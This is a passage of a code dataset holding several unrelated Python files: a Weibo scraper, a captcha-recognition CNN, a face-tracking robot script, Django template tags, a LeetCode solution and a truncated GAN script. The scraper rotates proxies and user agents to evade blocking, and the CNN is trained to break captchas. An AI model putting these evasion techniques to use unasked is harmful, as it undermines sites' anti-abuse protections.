json\nimport xlrd\nimport re\nfrom fake_useragent import UserAgent\nimport requests\nimport asyncio\nfrom matplotlib.font_manager import FontProperties\nimport sched\nimport aiohttp\nimport time\nfrom lxml import etree\nfrom openpyxl import Workbook\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport pymongo\nimport os\n\n\n# 保存热搜话题下的数据的函数,保存到xlsx文件中\ndef sava_resou_data(data_list, i, resou_title):\n fire = Workbook()\n sheet = fire.active\n sheet.append([\"time\", \"content\"])\n for m in data_list:\n sheet.append(m)\n fire.save(resou_title[i] + '.xls')\n\n\n# 保存自定义话题下的数据,保存到xlsx文件中\ndef sava_zidingyi_data(data_list, name):\n fire = Workbook()\n sheet = fire.active\n sheet.append([\"time\", \"content\"])\n for m in data_list:\n sheet.append(m)\n fire.save(name+'.xls')\n\n\nasync def get_data(data_list, html):\n # 把数据转换为json格式\n response = json.loads(html)\n # 拿到cards标签下的数据\n data = response['data']['cards']\n for j in range(len(data)):\n try:\n # 拿到created_at标签下的数据,也就是时间\n res_time = data[j]['mblog']['created_at']\n res = res_time.split()\n # 对日期进行处理,转换为正常的日期格式\n temp = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sept\", \"Oct\", \"Nov\", \"Dec\"]\n a = lambda x: (temp[x - 1], f\"0{x}\") if x < 10 else (temp[x - 1], f\"{x}\")\n month_dict = dict([a(i) for i in range(1, 13)])\n fin_time = res[-1] + \"-\" + month_dict[res[1]] + \"-\" + res[2] + \" \" + res[3]\n # 拿到text标签下的数据,再用xpath拿到所有的文本内容\n result = data[j]['mblog']['text']\n res = etree.HTML(result)\n fin_text = \"\".join(res.xpath('//text()'))\n # 把数据添加到data_list数组中去\n data_list.append([fin_time, fin_text])\n # 显示一下数据\n print(fin_time, fin_text)\n except KeyError as p:\n pass\n # print(len(data_list))\n # print(data_list)\n\n\ndef change_ip(proxies_url):\n # 更换ip\n while True:\n try:\n proxies = \"http://\" + requests.get(proxies_url).text.split(\"\\r\\n\")[0]\n break\n except Exception as p:\n time.sleep(2)\n print(\"请求ip出错\")\n return proxies\n\n\nasyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())\n\n\nasync def get_resou_url(url, proxies_url, resou_title):\n # 定义请求头\n head = {\n \"User-Agent\": UserAgent().random\n }\n # 获取响应\n response = requests.get(url, headers=head)\n # 转换为json\n response = response.json()\n # 拿到cards里面的数据\n data = response['data']['cards'][0]['card_group']\n # 拿到热搜中前10个的标题\n for res in range(10):\n resou_title.append(data[res]['desc'])\n print(resou_title)\n\n # print(data)\n while True:\n try:\n proxies = \"http://\" + requests.get(proxies_url).text.split(\"\\r\\n\")[0]\n break\n except Exception as p:\n time.sleep(2)\n print(\"请求ip出错\")\n # 遍历\n for j in range(10):\n # 拿到text里面的数据\n scheme = data[j]['scheme'].split(\"?\")\n data_list = []\n i = \"0\"\n new_urls = [\n \"https://m.weibo.cn/api/container/getIndex?\" + scheme[1] + \"&page_type=searchall&page=\" + str(i) + \"\" for i\n in range(1, 200)]\n for url_one in new_urls:\n try:\n # 使用协程爬取,加快效率\n async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False), trust_env=True) as session:\n # 显示网址,可以查看进度\n print(url_one)\n\n async with session.get(url_one, headers=head,\n proxy=proxies, timeout=15) as response:\n html = await response.text()\n # 判断一个话题下的数据是否爬取完,如果爬取完,就跳出循环\n a = re.findall('\"ok\":(.*?),\"data\"', html, re.S)\n if \"msg\" in a[0]:\n break\n await get_data(data_list, html)\n except Exception as p:\n print(p)\n proxies = change_ip(\n \"http://http.tiqu.letecs.com/getip3?num=1&type=1&pro=&city=0&yys=0&port=1&time=1&ts=0&ys=0&cs=0&lb=1&sb=0&pb=4&mr=1®ions=&gm=4\")\n continue\n # 调用保存数据到xlsx文件中的函数\n sava_resou_data(data_list, j, resou_title)\n return resou_title\n\n\nasync def get_zidingyi_url(url, name, proxies_url):\n # 定义请求头\n head = {\n \"User-Agent\": UserAgent().random\n }\n while True:\n try:\n proxies = \"http://\" + requests.get(proxies_url).text.split(\"\\r\\n\")[0]\n break\n except Exception as p:\n time.sleep(2)\n print(\"请求ip出错\")\n data_list = []\n # 处理url变成接口\n scheme = url.split(\"?\")\n i = \"0\"\n new_urls = [\n \"https://m.weibo.cn/api/container/getIndex?\" + scheme[1] + \"&page_type=searchall&page=\" + str(i) + \"\" for i\n in range(1, 200)]\n for url_one in new_urls:\n try:\n # 使用协程加快效率\n async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False), trust_env=True) as session:\n # 显示网址,可以查看进度\n print(url_one)\n\n async with session.get(url_one, headers=head,\n proxy=proxies, timeout=15) as response:\n html = await response.text()\n # 判断话题下的数据是否爬取完,如果爬取完,就跳出循环\n a = re.findall('\"ok\":(.*?),\"data\"', html, re.S)\n if \"msg\" in a[0]:\n break\n await get_data(data_list, html)\n except Exception as p:\n print(p)\n proxies = change_ip(\n \"http://http.tiqu.letecs.com/getip3?num=1&type=1&pro=&city=0&yys=0&port=1&time=1&ts=0&ys=0&cs=0&lb=1&sb=0&pb=4&mr=1®ions=&gm=4\")\n continue\n # 调用保存数据到xlsx文件中的函数\n sava_zidingyi_data(data_list, name)\n\n\ndef histogram(resou_title, user_input):\n # 制作柱状图\n chart_list = []\n name_list = []\n # 从保存的xlsx文件中拿到数据,然后判断词条数\n for i in range(10):\n df = pd.read_excel(resou_title[i]+\".xls\")\n res = \"-\".join(df[\"content\"].values)\n num = int(res.count(\"#\")/2)\n chart_list.append(num)\n name_list.append(resou_title[i])\n # 从保存的xlsx文件中拿到数据,然后判断词条数\n for i in range(5):\n df = pd.read_excel(user_input[i]+\".xls\")\n res = \"-\".join(df[\"content\"].values)\n num = int(res.count(\"#\")/2)\n chart_list.append(num)\n name_list.append(user_input[i])\n # 设置图片可以显示中文和负数\n plt.rcParams['font.sans-serif'] = ['simhei']\n plt.rcParams['axes.unicode_minus'] = False\n\n # x轴\n x = np.array(name_list)\n # y轴\n y = np.array(chart_list)\n # 倒序,返回排序后各数据的原始下标\n sortIndex = np.argsort(-y)\n # 重新进行排序,与y保持初始顺序一致\n x_sort = x[sortIndex]\n # 重新进行排序,倒序\n y_sort = y[sortIndex]\n\n def autolabel(rects, font):\n # 显示词条数\n for rect in rects:\n\n height = rect.get_height()\n\n plt.text(rect.get_x() + rect.get_width() / 2. - 0.25, 1.01 * height, '%s' % int(height), fontproperties=font)\n font = FontProperties(fname=r\"./simhei.ttf\")\n # 让x轴的标题旋转90度,方便显示\n plt.xticks(np.arange(len(x_sort)), x_sort, rotation=90, fontproperties=font)\n # 作图\n a = plt.bar(np.arange(len(x_sort)), y_sort)\n # 调用显示词条数的函数\n autolabel(a, font)\n # 设置标题\n plt.title('词条数统计', fontproperties=font)\n # 设置y轴的单位\n plt.ylabel('词条数', fontproperties=font)\n # 设置x轴的单位\n plt.xlabel('词条', fontproperties=font)\n # 保存图片\n plt.savefig(\"15.jpg\")\n\n\ndef line_chart(resou_title, user_input):\n # 制作折线图\n # 设置可以在图片上显示中文和负数\n plt.rcParams['font.sans-serif'] = ['simhei']\n plt.rcParams['axes.unicode_minus'] = False\n # 遍历10个热搜的文件作图\n for i in range(10):\n df = pd.read_excel(resou_title[i] + \".xls\")\n x_time = df[\"time\"].str[:10].value_counts().index.tolist()\n y_time = df[\"time\"].str[:10].value_counts().tolist()\n # 设置画布\n plt.figure(figsize=(20, 8), dpi=80)\n # x轴的标题旋转90度\n plt.xticks(rotation=90)\n # 作图\n plt.plot(x_time, y_time)\n\n font = FontProperties(fname=r\"./simhei.ttf\")\n\n # 定义x轴的标题\n plt.xlabel(\"发布时间\", fontproperties=font)\n # 定义y轴的标题\n plt.ylabel(\"时间频率\", fontproperties=font)\n # 定义整个图片的标题\n plt.title(resou_title[i]+\"发布时间和时间频率对应关系图\", fontproperties=font)\n # 保存图片\n plt.savefig(\"\"+str(i)+\".jpg\")\n\n for i in range(5):\n df = pd.read_excel(user_input[i] + \".xls\")\n x_time = df[\"time\"].str[:10].value_counts().index.tolist()\n y_time = df[\"time\"].str[:10].value_counts().tolist()\n # 设置画布\n plt.figure(figsize=(20, 8), dpi=80)\n # 让x轴的数据旋转90度,方便显示\n plt.xticks(rotation=90)\n # 作图\n plt.plot(x_time, y_time)\n\n font = FontProperties(fname=r\"./simhei.ttf\")\n\n # 定义x轴的标题\n plt.xlabel(\"发布时间\", fontproperties=font)\n # 定义y轴的标题\n plt.ylabel(\"时间频率\", fontproperties=font)\n # 定义整个图片的标题\n plt.title(user_input[i]+\"发布时间和时间频率对应关系图\", fontproperties=font)\n # 保存图片\n plt.savefig(\"\"+str(i+10)+\".jpg\")\n\n\ndef main():\n mongo_py = pymongo.MongoClient()\n\n collection = mongo_py['weibo_citiao']['data']\n resou_title = []\n # 类似于这种 user_input = [\"美食\", \"美味\", \"熊猫\", \"动物\", \"\"]\n user_input = [\"美食\", \"美味\", \"熊猫\", \"动物\", \"狗\"]\n url = \"https://m.weibo.cn/api/container/getIndex?containerid=106003type%3D25%26t%3D3%26disable_hot%3D1%26filter_type%3Drealtimehot&title=%E5%BE%AE%E5%8D%9A%E7%83%AD%E6%90%9C&extparam=seat%3D1%26pos%3D0_0%26dgr%3D0%26mi_cid%3D100103%26cate%3D10103%26filter_type%3Drealtimehot%26c_type%3D30%26display_time%3D1620121386&luicode=10000011&lfid=231583\"\n # ip网址\n proxies_url = \"http://http.tiqu.letecs.com/getip3?num=1&type=1&pro=&city=0&yys=0&port=1&time=1&ts=0&ys=0&cs=0&lb=1&sb=0&pb=4&mr=1®ions=&gm=4\"\n\n\n # loop = asyncio.get_event_loop()\n # task = [asyncio.ensure_future(get_resou_url(url, proxies_url))]\n # loop.run_until_complete(asyncio.wait(task))\n # 使用协程调用函数\n asyncio.run(get_resou_url(url, proxies_url, resou_title))\n\n # 自定义的五个网址\n urls = [\"https://m.weibo.cn/search?containerid=100103type%3D1%26q%3D\" + user_input[0],\n \"https://m.weibo.cn/search?containerid=100103type%3D1%26q%3D\" + user_input[1],\n \"https://m.weibo.cn/search?containerid=100103type%3D1%26q%3D\" + user_input[2],\n \"https://m.weibo.cn/search?containerid=100103type%3D1%26q%3D\" + user_input[3],\n \"https://m.weibo.cn/search?containerid=100103type%3D1%26q%3D\" + user_input[4]]\n # 调用函数\n\n for i in range(5):\n asyncio.run(get_zidingyi_url(urls[i], user_input[i], proxies_url))\n # 调用柱状图函数\n histogram(resou_title, user_input)\n # 调用折线图函数\n line_chart(resou_title, user_input)\n\n try:\n for m in range(10):\n collection.update_one({'id': m}, {'$set': {'name': resou_title[m]}})\n os.remove(resou_title[m]+'.xls')\n\n for j in range(10, 15):\n collection.update_one({'id': j}, {'$set': {'name': user_input[j-10]}})\n os.remove(user_input[j-10] + '.xls')\n except Exception as p:\n print(p)\n\n\nmain()","sub_path":"22-weibo-resou/weibo-resou.py","file_name":"weibo-resou.py","file_ext":"py","file_size_in_byte":12501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"76160752","text":"class Solution(object):\n \n # find the first next non - zero index\n def swapZero(self, nums, i):\n for j in range(i, len(nums)):\n if nums[j] != 0:\n return j\n return -1\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: None Do not return anything, modify nums in-place instead.\n \"\"\"\n for i in range(len(nums)):\n if nums[i] == 0:\n # find the closest non-zero num's index\n j = self.swapZero(nums, i)\n #swap\n if (j == -1):\n break\n nums[i],nums[j] = nums[j],nums[i]\n \n # a faster method is to append a zero and remove the current zero but i didn't know i can modify the length of the array \n # n=len(nums)\n # i=0\n # while i < n: \n # if nums[i] == 0:\n # nums.pop(i)\n # nums.append(0)\n # n-=1 # number of non-zeros modified\n # else: \n # i+=1","sub_path":"q283.py","file_name":"q283.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"69286672","text":"import tensorflow as tf\nimport glob\nimport captcha_setting\nimport os\nimport numpy as np\n\n\ndef read_pic_batch(filenames):\n \"\"\"\n 读取图片文件\n :return:\n \"\"\"\n # 1. 构造文件名队列\n # print(\"filenames:\\n\",filenames)\n file_queue = tf.train.string_input_producer(filenames)\n # 2. 读取与解码\n reader = tf.WholeFileReader()\n filename, image = reader.read(file_queue)\n # filename是全路径名,文件名前4个字母为图片中的校验码,image需要解码成三阶张量\n decoded_image = tf.image.decode_png(image)\n # 确定形状,方便批处理\n decoded_image.set_shape([captcha_setting.IMAGE_HEIGHT, captcha_setting.IMAGE_WIDTH, 3])\n # 修改精度\n decoded_image = tf.cast(decoded_image, tf.float32)\n # print(\"decoded_image:\\n\",decoded_image)\n\n # 3. 加入批处理\n filename_batch, image_batch = tf.train.batch([filename, decoded_image], batch_size=100, num_threads=1, capacity=100)\n\n # 开启会话\n with tf.Session() as sess:\n # 因为用到了队列,需要开启线程\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n\n filename_value, image_value = sess.run([filename_batch, image_batch])\n # print(\"filename_value:\\n\",filename_value)\n # print(\"image_value:\\n\",image_value)\n labels = parse_filenames_to_labels(filename_value)\n # print(labels)\n # labels转成one-hot编码\n labels_value = tf.reshape(tf.one_hot(labels, depth=captcha_setting.ALL_CHAR_SET_LEN),\n [-1, 4 * captcha_setting.ALL_CHAR_SET_LEN]).eval()\n\n # 回收线程\n coord.request_stop()\n coord.join(threads)\n\n\n\n return filename_value,image_value, labels_value\n\ndef parse_filenames_to_chars(filenames):\n \"\"\"\n 解析文件名 ---> 校验码(标签)\n NZPP_xxxxx.png ---> NZPP\n :param filenames:\n :return:\n \"\"\"\n labels = []\n for filename in filenames:\n # print(filename)\n # 取出4位的标签\n chars = str(filename).split(os.path.sep)[-1].split(\"_\")[0]\n # print(chars)\n labels.append(chars)\n\n # print(labels)\n return labels\n\ndef parse_filenames_to_labels(filenames):\n \"\"\"\n 解析文件名 ---> 校验码(标签) ---> []一行4列的张量\n NZPP_xxxxx.png ---> NZPP ---> [13,25,15,15]\n :return: 处理后的列表\n \"\"\"\n\n labels = []\n for filename in filenames:\n # print(filename)\n # 取出4位的标签\n chars = str(filename).split(os.path.sep)[-1].split(\"_\")[0]\n # print(chars)\n # 转换成[]\n label = []\n for c in chars:\n char_idx = captcha_setting.ALL_CHAR_SET.index(c)\n label.append(char_idx)\n # print(label)\n # print(\"\\n\")\n labels.append(label)\n\n # print(labels)\n return np.array(labels)\n\n\ndef label_to_char(labels):\n \"\"\"\n [13,25,15,15] ---> NZPP\n :param labels:\n :return:\n \"\"\"\n word_list = []\n for label in labels:\n # print (label)\n word = []\n for item in label:\n # print(\"item:\\n\",item)\n word.append(captcha_setting.ALL_CHAR_SET[item])\n # print(\"word:\\n\",word)\n word_list.append(word)\n # print(\"word_list:\\n\",word_list)\n return word_list\n\ndef create_weights(shape,name=None):\n \"\"\"\n 生成权重初始化值\n :param shape:\n :return:\n \"\"\"\n return tf.Variable(initial_value=tf.random_normal(shape=shape, mean=0.0, stddev=0.1),name=name)\n\n\ndef create_cnn_model(x):\n \"\"\"\n 构造CNN网络模型\n 两层卷积:卷积层、激活层、池化层\n 全连接层:预测分类\n :param x: shape=[None,captcha_setting.IMAGE_HEIGHT,captcha_setting.IMAGE_WIDTH,3]\n :return:\n \"\"\"\n # 1、第一个卷积大层\n with tf.variable_scope(\"conv-1\"):\n # 1.1 卷积层:32个Filter,大小5*5,strides=1,padding=\"SAME\"\n # 将x [None,784]进行形状转换成卷积函数要求的格式\n\n filter_conv1 = create_weights(shape=[5, 5, 3, 32],name=\"filter1\")\n bias_conv1 = create_weights([32],name=\"bias1\")\n\n features_conv1 = tf.nn.conv2d(input=x, filter=filter_conv1, strides=[1, 1, 1, 1], padding=\"SAME\") + bias_conv1\n # 1.2 激活函数\n relu_conv1 = tf.nn.relu(features_conv1)\n # 1.3 池化层:大小2*2,strides=2\n pool_conv1 = tf.nn.max_pool(value=relu_conv1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=\"SAME\")\n\n # 2、第二个卷积大层\n with tf.variable_scope(\"conv-2\"):\n # 2.1 卷积层:64个Filter,大小5*5,strides=1,padding=\"SAME\"\n # [None,captcha_setting.IMAGE_HEIGHT,captcha_setting.IMAGE_WIDTH,3]\n # -->[None,captcha_setting.IMAGE_HEIGHT/2,captcha_setting.IMAGE_WIDTH/2,32]\n filter_conv2 = create_weights(shape=[5, 5, 32, 64],name=\"filter2\")\n bias_conv2 = create_weights([64],name=\"bias2\")\n\n features_conv2 = tf.nn.conv2d(input=pool_conv1, filter=filter_conv2, strides=[1, 1, 1, 1],\n padding=\"SAME\") + bias_conv2\n\n # 2.2 激活函数\n relu_conv2 = tf.nn.relu(features_conv2)\n # 2.3 池化层:大小2*2,strides=2\n # [None,captcha_setting.IMAGE_HEIGHT/4,captcha_setting.IMAGE_WIDTH/4,32]\n pool_conv2 = tf.nn.max_pool(value=relu_conv2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=\"SAME\")\n # 3、全连接层\n # tf.reshape()变成矩阵,[None, IMAGE_HEIGHT/4,IMAGE_WIDTH/4,32]\n # ---> [None, IMAGE_HEIGHT/4*IMAGE_WIDTH/4,64],\n # 输出[None, 4*36]\n # [None, IMAGE_HEIGHT/4 * IMAGE_WIDTH/4 * 64] * [] = [None, 4*36]\n # 因此,weights = [IMAGE_HEIGHT/4 * IMAGE_WIDTH/4 * 64, 4*36], bias = [4*36]\n with tf.variable_scope(\"Full_Connection\"):\n height = tf.cast(captcha_setting.IMAGE_HEIGHT / 4,tf.int32)\n width = tf.cast(captcha_setting.IMAGE_WIDTH / 4,tf.int32)\n x_fc = tf.reshape(pool_conv2, shape=[-1, height * width * 64])\n weights_fc = create_weights(shape=[height * width * 64, 4 * 36],name=\"weights_fc\")\n bias_fc = create_weights(shape=[4 * 36],name=\"bias_fc\")\n\n y_predict = tf.matmul(x_fc, weights_fc) + bias_fc\n\n # 收集变量,在TensroBoard中显示\n tf.summary.histogram(\"filter1\", filter_conv1)\n tf.summary.histogram(\"bias1\", bias_conv1)\n\n tf.summary.histogram(\"filter2\", filter_conv2)\n tf.summary.histogram(\"bias2\", bias_conv2)\n\n tf.summary.histogram(\"weights_fc\", weights_fc)\n tf.summary.histogram(\"bias_fc\", bias_fc)\n\n return y_predict\n\n\ndef train_model(filenames):\n \"\"\"\n 训练模型\n :return:\n \"\"\"\n with tf.variable_scope(\"prepartion_data\"):\n # 读取图片文件\n # 使用glob获取文件名列表(也可以用os)\n # 读取文件\n filename_value, image_value,labels_value = read_pic_batch(filenames)\n\n with tf.variable_scope(\"create_model\"):\n # 准备数据,彩色图片,3个通道\n x = tf.placeholder(dtype=tf.float32, shape=[None, captcha_setting.IMAGE_HEIGHT, captcha_setting.IMAGE_WIDTH, 3],name=\"x\")\n # x = image_value\n # 校校码,4个长度,0-9以及A-Z\n y_true = tf.placeholder(dtype=tf.float32, shape=[None, 4 * captcha_setting.ALL_CHAR_SET_LEN],name=\"y_true\")\n # y_true = labels_value\n # 构造模型\n y_predict = create_cnn_model(x)\n # print(y_predict)\n\n with tf.variable_scope(\"def_loss\"):\n # 构造损失函数\n loss_list = tf.nn.sigmoid_cross_entropy_with_logits(labels=y_true, logits=y_predict)\n loss = tf.reduce_mean(loss_list)\n with tf.variable_scope(\"optimization_loss\"):\n # 优化损失函数\n # optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.001).minimize(loss)\n optimizer = tf.train.AdamOptimizer(learning_rate=0.001).minimize(loss)\n # 计算准确率\n with tf.variable_scope(\"accuracy\"):\n\n prediction = tf.argmax(tf.reshape(y_predict, shape=[-1, 4, 36]), axis=2)\n\n equal_list = tf.reduce_all(\n tf.equal(tf.argmax(tf.reshape(y_true, shape=[-1, 4, 36]), axis=2),\n tf.argmax(tf.reshape(y_predict, shape=[-1, 4, 36]), axis=2)), axis=1)\n accuracy = tf.reduce_mean(tf.cast(equal_list, tf.float32))\n\n # 需要保存prediction,以便在预测时使用\n tf.add_to_collection('pred_network', prediction)\n\n # 创建Saver对象\n saver = tf.train.Saver()\n\n # 合并变量\n merged = tf.summary.merge_all()\n\n # 开启会话\n with tf.Session() as sess:\n # 开始训练\n # 初始化变量\n init = tf.global_variables_initializer()\n sess.run(init)\n\n # 创建事件文件\n file_writer = tf.summary.FileWriter(\"../tf_out/captcha\", graph=sess.graph)\n\n for i in range(1000):\n _, prediction_value,loss_value, accuracy_value = sess.run([optimizer, prediction,loss, accuracy],feed_dict={x:image_value,y_true:labels_value})\n print(\"prediction:\\n\",prediction_value)\n print(\"第%d次训练,损失为:%.2f,准确率:%.2f%%\" % ((i + 1), loss_value, accuracy_value * 100))\n\n # 每次迭代需要收集变量\n summary = sess.run(merged)\n # 每次迭代后的变量写入事件文件\n file_writer.add_summary(summary, i)\n\n # 保存模型,退出\n if accuracy_value >= 1.0:\n\n saver.save(sess, \"../tf_out/model_checkpoint/captcha/captcha.ckpt\")\n break\n\n\n return None\n\ndef test_pic(filenames):\n \"\"\"\n 测试模型\n :param filename:\n :return:\n \"\"\"\n\n #\n filename_value, image_value, labels_value = read_pic_batch(filenames)\n\n with tf.Session() as sess:\n\n # 创建Saver对象,从存储模型中恢复参数值\n saver = tf.train.import_meta_graph('../tf_out/model_checkpoint/captcha/captcha.ckpt.meta')\n saver.restore(sess, \"../tf_out/model_checkpoint/captcha/captcha.ckpt\")\n\n # tf.get_collection() 返回一个list. 但是这里只要第一个参数即可\n prediction = tf.get_collection('pred_network')[0]\n\n # 因为y中有placeholder,所以sess.run(y)的时候还需要用实际待预测的样本以及相应的参数来填充这些placeholder,\n # 而这些需要通过graph的get_operation_by_name方法来获取。\n graph = tf.get_default_graph()\n x = graph.get_operation_by_name(\"create_model/x\").outputs[0]\n y_true = graph.get_operation_by_name(\"create_model/y_true\").outputs[0]\n\n # filter1 = sess.run(\"create_model/conv-1/filter1:0\")\n # print(\"filter1:\\n\",filter1)\n prediction_value = sess.run([prediction],feed_dict={x:image_value,y_true:labels_value})\n prediction_cast = tf.cast(prediction_value,tf.int64)\n print(\"prediction_value\",prediction_cast)\n\n\n predict_text = label_to_char(prediction_cast)\n label_true = str(filename_value).split(os.path.sep)[-1].split(\"_\")[0]\n # label_true = parse_filenames_to_chars(filename_value)\n print(\"Predict Label:\\n\",predict_text)\n\n print(\"True Label:\\n\",label_true)\n # print(\"accuracy_value:\\n\",accuracy_value)\n\n return None\n\nif __name__ == \"__main__\":\n # 是否为训练模式\n # is_training = True\n is_training = False\n\n # 开始训练\n if is_training:\n train_model(glob.glob(captcha_setting.TRAIN_DATASET_PATH + \"/*.png\"))\n\n # 从保存的目录中恢复模型,进行预测\n else:\n test_pic(glob.glob(captcha_setting.TRAIN_DATASET_PATH + \"/*.png\"))\n\n","sub_path":"captcha_recognition/captcha_recognation2.py","file_name":"captcha_recognation2.py","file_ext":"py","file_size_in_byte":11611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"277339923","text":"import cv2\nfrom threading import Thread\nimport robot_controller\n# 장치에 연결된 카메라(0번)를 이용한 이미지 캡쳐\ncap = cv2.VideoCapture(0)\n\n# OpenCV 에서 제공하는 KCF Tracker를 이용\ntracker = cv2.TrackerKCF_create()\n\n# 객체 추적에 대한 상태 변수\nis_tracker_on = False\nIMAGE_SIZE = (640, 480)\n# Main tracking loop\nwhile True:\n ret, image_np = cap.read()\n image_np = cv2.resize(image_np, IMAGE_SIZE)\n timer = cv2.getTickCount()\n\n # Face Detection을 위한 'haarcascade_frontalface_default.xml'의 경로\n # 경로 변경 필\n face_cascade = cv2.CascadeClassifier(\n '/home/pi/CSEP/라즈베리파이/Tracking/haarcascade_frontalface_default.xml')\n\n # 이미지를 BGR -> GRAY 변환\n gray = cv2.cvtColor(image_np, cv2.COLOR_BGR2GRAY)\n\n # Multi Face Detection\n # faces, 이미지에 포함 된 모든 Face의 정보 저장(Bounding box point)\n faces = face_cascade.detectMultiScale(gray, 1.3, 5)\n\n for (x, y, w, h) in faces:\n if not is_tracker_on:\n tracker = cv2.TrackerKCF_create()\n print('New Tracking')\n # Tracking 할 초기 이미지 선정, tracker에 정보 저장\n # (x, y, w, h), Face의 Bounding box\n tracker.init(image_np, (x, y, w, h))\n is_tracker_on = True\n\n # Detected 된 얼굴 객체에 Draw Rectangle\n if w != 0 or h != 0:\n cv2.rectangle(image_np, (x, y), (x + w, y + h), (0, 255, 0), 3)\n\n ok, box = tracker.update(image_np)\n\n fps = cv2.getTickFrequency() / (cv2.getTickCount() - timer)\n\n if ok:\n # Tracking success\n p1 = (int(box[0]), int(box[1]))\n p2 = (int(box[0] + box[2]), int(box[1] + box[3]))\n cv2.rectangle(image_np, p1, p2, (255, 0, 0), 2, 1)\n\n # 이미지의 중심점\n centerOfImage = (IMAGE_SIZE[0] / 2, IMAGE_SIZE[1] / 2)\n # 객체 Bounding box의 중심점\n centerOfBox = ((p1[0] + p2[0]) / 2, (p1[1] + p2[1]) / 2)\n\n # Bounding Box 중심에 카메라가 향하도록 조정\n # 일정 거리 유지\n # func에 Robot 이동 관련 함수에 전달\n worker = Thread(target=robot_controller.movementControl,\n args=(centerOfBox, centerOfImage))\n\n else:\n # Tracking failure\n cv2.putText(image_np, \"Tracking failure detected\", (100, 80),\n cv2.FONT_HERSHEY_SIMPLEX, 0.75, (0, 0, 255), 2)\n tracker.clear()\n is_tracker_on = False\n print('Tracker Off')\n\n # Display tracker type on frame\n cv2.putText(image_np, \"KCF Tracker\", (100, 20),\n cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2)\n\n # Display FPS on frame\n cv2.putText(image_np, \"FPS : \" + str(int(fps)), (100, 50),\n cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2)\n\n cv2.imshow('test', image_np)\n\n if cv2.waitKey(25) & 0xFF == ord('q'):\n cap.release()\n cv2.destroyAllWindows()\n robot_controller.turnOffMotors()\n break\n\n","sub_path":"distance/tracking.py","file_name":"tracking.py","file_ext":"py","file_size_in_byte":3026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"419907991","text":"# -*- coding: utf-8 -*-\nimport re\nfrom django import template\nfrom django.core.urlresolvers import reverse\nfrom django.template import Template,Context\nfrom django.utils.html import conditional_escape\nfrom django.utils.safestring import mark_safe\n\nfrom hnmanager import views as manager_view\n\nregister = template.Library()\n\n\nclass ObjectCellNode(template.Node):\n def __init__(self, obj, cols):\n self.object = obj\n self.columns = cols\n\n def render(self, context):\n res = ''\n for columnlst in self.columns:\n value = context.get(self.object)\n if not value is None:\n for column in columnlst:\n if value is None: break\n try:\n value = value.__getattribute__(column)\n except:\n value = None\n\n if value is None: value=''\n res += '%s' % value\n return res\n\n\n@register.tag\ndef objectcell(parser, token):\n splitted = token.split_contents()\n try:\n tag_name = splitted[0]\n object = splitted[1]\n columns = splitted[2:]\n for colidx in xrange(len(columns)):\n columns[colidx] = columns[colidx].split('.')\n\n except ValueError:\n raise template.TemplateSyntaxError(\"%r tag requires object columns_to_show\" % token.contents.split()[0])\n\n return ObjectCellNode(object, columns)\n\n@register.simple_tag\ndef active(request, pattern=''):\n '''\n \n '''\n result = ''\n if re.search(pattern, request.path):\n result = 'active'\n\n return result\n\n@register.filter(name=\"active\")\ndef active(value, pattern):\n '''\n \n '''\n result = False\n if re.search(pattern, value):\n result = True\n\n return result\n\nclass SetContext(template.Node):\n \"\"\"\n docstring for SetContext\n \"\"\"\n def __init__(self, name, data):\n self.name = name\n self.data = data\n def render(self, context):\n context[self.name] = self.data\n return ''\n \n@register.tag()\ndef generate_gnb_nav(parser, token):\n data = [\n {'name': '회원', 'link': reverse(manager_view.member)},\n {'name': '상품', 'link': reverse(manager_view.product)},\n {'name': '카테고리', 'link': reverse(manager_view.category)},\n {'name': '주문', 'link': '#'},\n {'name': '쿠폰', 'link': '#'},\n {'name': '게시판', 'link': '#'},\n {'name': '정산', 'link': '#'},\n {'name': '발주자', 'link': reverse(manager_view.producer)}\n ]\n return SetContext('gnb_nav', data)\n\n@register.tag()\ndef generate_product_nav(parser, token):\n data = [\n {'name': '상품 리스트', 'link': reverse(manager_view.product)},\n {'name': '상품 등록', 'link': reverse(manager_view.product_create)}\n ]\n return SetContext('sub_nav', data)\n\n@register.tag()\ndef generate_member_nav(parser, token):\n data = [\n {'name': '회원 리스트', 'link': reverse(manager_view.member)}\n ]\n return SetContext('sub_nav', data)\n\n@register.filter(name='access')\ndef access(value, arg):\n if value.has_key(arg):\n return value[arg]\n else:\n return False\n","sub_path":"src/hellonature/hnmanager/templatetags/hnmanager_extras.py","file_name":"hnmanager_extras.py","file_ext":"py","file_size_in_byte":3068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"196942086","text":"# Authors:\n# Jonathan Dietrich\n# Christian F. Baumgartner (c.f.baumgartner@gmail.com)\n\n# train the WGAN for image-to-image translation\n\nimport logging\nimport time\n\nimport numpy as np\nimport os.path\nimport tensorflow as tf\nimport shutil\n\nimport config.system as sys_config\nimport gan_model\nfrom tfwrapper import utils as tf_utils\nimport utils\nimport adni_data_loader_all\nimport adni_data_loader\nimport data_utils\nfrom batch_generator_list import iterate_minibatches_endlessly\n\n\nlogging.basicConfig(level=logging.INFO, format='%(asctime)s %(message)s')\n\n# Set SGE_GPU environment variable if we are not on the local host\nsys_config.setup_GPU_environment()\n\n#######################################################################\nfrom experiments.gan import bousmalis_bn as exp_config\nfrom 